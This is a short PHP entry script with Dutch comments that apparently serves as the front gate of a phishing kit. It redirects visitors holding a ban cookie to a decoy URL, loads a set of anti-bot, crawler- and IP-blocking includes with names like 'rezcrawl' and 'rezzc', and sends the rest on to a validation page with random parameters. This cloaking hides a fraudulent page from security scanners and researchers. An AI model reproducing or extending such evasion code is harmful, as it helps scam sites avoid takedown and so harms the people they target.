<?php
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Include de configuratie zodat $config beschikbaar is
include_once 'config/index.php';

// Controleer of de ban-cookie is gezet en redirect indien nodig
if (isset($_COOKIE['baneo'])) {
    header("Location: " . $config['urls']['botRedirect']);
    exit;
}

// Include alle anti-bot scripts uit de map valid
include_once 'valid/anti_referer.php';
include_once 'valid/crawlers.php';
include_once 'valid/loader.php';
include_once 'valid/loader_ips.php';
include_once 'valid/loader_ips_2.php';
include_once 'valid/block.php';
include_once 'valid/rezcrawl.php';
include_once 'valid/rezzc.php';
include_once 'valid/bot_protection.php';

// Genereer unieke parameters voor de redirect naar de validatiemap
$reader = "";
$index = rand(10000, 99999) . $reader;
$fee = sha1(rand(10000, 99999));

// Redirect naar de validatiemap (bijv. /valid/index5.php) met de parameters
header("Location: valid/index5.php?index=" . $index . "&fee=" . $fee);
exit;
?>
